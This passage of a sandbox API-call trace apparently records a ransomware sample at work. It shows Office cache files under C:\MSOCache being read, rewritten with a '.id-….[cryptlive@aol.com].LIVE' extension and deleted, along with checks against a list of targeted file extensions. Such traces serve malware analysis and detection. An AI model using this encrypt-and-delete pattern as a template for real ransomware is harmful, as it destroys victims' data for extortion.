users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.677] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.677] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.678] GetLastError () returned 0x0 [0037.678] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x61d, lpOverlapped=0x0) returned 1 [0037.679] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0037.680] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.680] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.680] SetEndOfFile (hFile=0x18c) returned 1 [0037.680] CloseHandle (hObject=0x18c) returned 1 [0037.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.681] SetEndOfFile (hFile=0x188) returned 1 [0037.682] CloseHandle (hObject=0x188) returned 1 [0037.682] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.682] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString=".doc") returned 4 [0037.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString=".docx") returned 5 [0037.683] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.683] lstrlenW (lpString=".pdf") returned 4 [0037.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString=".xls") returned 4 [0037.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString=".xlsx") returned 5 [0037.683] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.683] lstrlenW (lpString=".ppt") returned 4 [0037.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString=".zip") returned 4 [0037.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.683] lstrlenW (lpString=".rar") returned 4 [0037.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString=".bz2") returned 4 [0037.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString=".7z") returned 3 [0037.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString=".dbf") returned 4 [0037.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString=".1cd") returned 4 [0037.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.683] lstrlenW (lpString=".jpg") returned 4 [0037.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString=".doc") returned 4 [0037.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString=".docx") returned 5 [0037.684] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.684] lstrlenW (lpString=".pdf") returned 4 [0037.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString=".xls") returned 4 [0037.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString=".xlsx") returned 5 [0037.684] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.684] lstrlenW (lpString=".ppt") returned 4 [0037.684] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString=".zip") returned 4 [0037.684] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.684] lstrlenW (lpString=".rar") returned 4 [0037.684] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString=".bz2") returned 4 [0037.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString=".7z") returned 3 [0037.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString=".dbf") returned 4 [0037.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString=".1cd") returned 4 [0037.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0037.684] lstrlenW (lpString=".jpg") returned 4 [0037.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.685] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.685] lstrlenW (lpString="Setup.xml") returned 9 [0037.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.685] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=4207) returned 1 [0037.685] CloseHandle (hObject=0x188) returned 1 [0037.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.685] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.685] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.686] GetLastError () returned 0x0 [0037.686] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x106f, lpOverlapped=0x0) returned 1 [0037.687] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0037.688] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.688] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.688] SetEndOfFile (hFile=0x18c) returned 1 [0037.689] CloseHandle (hObject=0x18c) returned 1 [0037.690] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.690] SetEndOfFile (hFile=0x188) returned 1 [0037.690] CloseHandle (hObject=0x188) returned 1 [0037.691] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.691] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.691] lstrlenW (lpString=".doc") returned 4 [0037.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.691] lstrlenW (lpString=".docx") returned 5 [0037.691] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.691] lstrlenW (lpString=".pdf") returned 4 [0037.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.691] lstrlenW (lpString=".xls") returned 4 [0037.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.691] lstrlenW (lpString=".xlsx") returned 5 [0037.691] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.691] lstrlenW (lpString=".ppt") returned 4 [0037.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.691] lstrlenW (lpString=".zip") returned 4 [0037.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.692] lstrlenW (lpString=".rar") returned 4 [0037.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString=".bz2") returned 4 [0037.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString=".7z") returned 3 [0037.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.692] lstrlenW (lpString=".dbf") returned 4 [0037.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.692] lstrlenW (lpString=".1cd") returned 4 [0037.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.692] lstrlenW (lpString=".jpg") returned 4 [0037.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.692] lstrlenW (lpString=".doc") returned 4 [0037.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.692] lstrlenW (lpString=".docx") returned 5 [0037.692] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.692] lstrlenW (lpString=".pdf") returned 4 [0037.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString=".xls") returned 4 [0037.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString=".xlsx") returned 5 [0037.693] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.693] lstrlenW (lpString=".ppt") returned 4 [0037.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.693] lstrlenW (lpString=".zip") returned 4 [0037.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.693] lstrlenW (lpString=".rar") returned 4 [0037.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString=".bz2") returned 4 [0037.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString=".7z") returned 3 [0037.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.693] lstrlenW (lpString=".dbf") returned 4 [0037.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.693] lstrlenW (lpString=".1cd") returned 4 [0037.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.693] lstrlenW (lpString=".jpg") returned 4 [0037.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.693] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.693] lstrlenW (lpString="Setup.xml") returned 9 [0037.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.694] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2424) returned 1 [0037.694] CloseHandle (hObject=0x188) returned 1 [0037.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.694] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.694] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0037.696] GetLastError () returned 0x0 [0037.696] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x978, lpOverlapped=0x0) returned 1 [0037.697] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x980, lpOverlapped=0x0) returned 1 [0037.698] ReadFile (in: hFile=0x188, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.698] WriteFile (in: hFile=0x18c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.698] SetEndOfFile (hFile=0x18c) returned 1 [0037.698] CloseHandle (hObject=0x18c) returned 1 [0037.699] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.699] SetEndOfFile (hFile=0x188) returned 1 [0037.700] CloseHandle (hObject=0x188) returned 1 [0037.700] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.700] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.701] lstrlenW (lpString=".doc") returned 4 [0037.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString=".docx") returned 5 [0037.701] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.701] lstrlenW (lpString=".pdf") returned 4 [0037.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString=".xls") returned 4 [0037.701] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString=".xlsx") returned 5 [0037.701] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.701] lstrlenW (lpString=".ppt") returned 4 [0037.701] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.701] lstrlenW (lpString=".zip") returned 4 [0037.701] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.701] lstrlenW (lpString=".rar") returned 4 [0037.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString=".bz2") returned 4 [0037.701] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString=".7z") returned 3 [0037.701] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.701] lstrlenW (lpString=".dbf") returned 4 [0037.701] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.701] lstrlenW (lpString=".1cd") returned 4 [0037.701] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString=".jpg") returned 4 [0037.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString=".doc") returned 4 [0037.702] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString=".docx") returned 5 [0037.702] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.702] lstrlenW (lpString=".pdf") returned 4 [0037.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString=".xls") returned 4 [0037.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString=".xlsx") returned 5 [0037.702] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.702] lstrlenW (lpString=".ppt") returned 4 [0037.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString=".zip") returned 4 [0037.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.702] lstrlenW (lpString=".rar") returned 4 [0037.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString=".bz2") returned 4 [0037.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString=".7z") returned 3 [0037.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString=".dbf") returned 4 [0037.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.702] lstrlenW (lpString=".1cd") returned 4 [0037.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.703] lstrlenW (lpString=".jpg") returned 4 [0037.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.703] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.703] lstrlenW (lpString="WordMUI.xml") returned 11 [0037.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0037.703] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1800) returned 1 [0037.703] CloseHandle (hObject=0x188) returned 1 [0037.703] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0037.703] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff 